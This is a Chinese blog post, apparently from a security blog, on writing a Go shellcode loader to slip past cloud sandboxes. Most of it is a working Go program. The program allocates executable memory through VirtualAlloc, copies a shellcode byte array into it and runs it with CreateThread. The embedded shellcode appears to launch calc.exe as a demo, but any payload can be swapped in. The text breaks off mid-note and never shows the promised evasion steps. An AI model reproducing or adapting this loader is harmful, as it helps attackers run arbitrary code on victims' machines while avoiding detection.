go编写加载器绕过云沙箱

个人博客 wutongsec.cn

认识golang

go build main.go // 当前编译的可执行文件在当前目录

go build -o xxx.exe// 指定编译后的文件名称

go run main.go // 编译的可执行文件放在%tmp%临时目录 , 下次编译会覆盖之前的 , 不会产生冗余

package main

import "fmt"

func main() {
    fmt.Println("Hello, World!")
}

main包+main函数 , 才组成一个可以直接运行的go程序 , 如果你在源码中看到一些go文件 , 不属于

main包 ,也没有main函数 , 那么这个文件多半是一个第三方库文件 , 用来在其他文件中导入并使用其功

go调用windowsapi

syscall包包,提供了与操作系统进行交互的底层函数, 即我们需要的那些windows api。

因为是内置的, 直接导入即可使用

{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
		0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
		0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48,
		0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
		0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b,
		0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48,
		0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
		0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
		0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8,
		0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
		0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
		0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
		0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba,
		0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd,
		0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05,
		0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
		0x63, 0x2e, 0x65, 0x78, 0x65, 0x00}
package main

import (
	"syscall"
	"unsafe"
)

func main() {
	//syscall调用winapi
	// 1.加载kernel32.dll,MustLoadDLL
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	// 2.获取windows api,MustFindProc
	VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
	CreateThread := kernel32.MustFindProc("CreateThread")
	WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	//shellcode_clac
	sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
		0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
		0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48,
		0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
		0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b,
		0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48,
		0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
		0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
		0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8,
		0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
		0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
		0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
		0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba,
		0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd,
		0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05,
		0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
		0x63, 0x2e, 0x65, 0x78, 0x65, 0x00}
	//申请地址
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
	//复制sc地址到内存里面
	// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
	//&sc-->指针 ,&sc[0] 因为sc是byte所有要取[0]个,unsafe.Pointer()指针都要用这个,(uintptr)转类型
	RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	// 5.创建线程
	thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
	// 6.等待线程创建
	WaitForSingleObject.Call(thread, 0xFFFFFFFF)
	// 7.关闭 DLL
	kernel32.Release()
}

注://&sc-->指针 ,&sc[0] 因为s

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值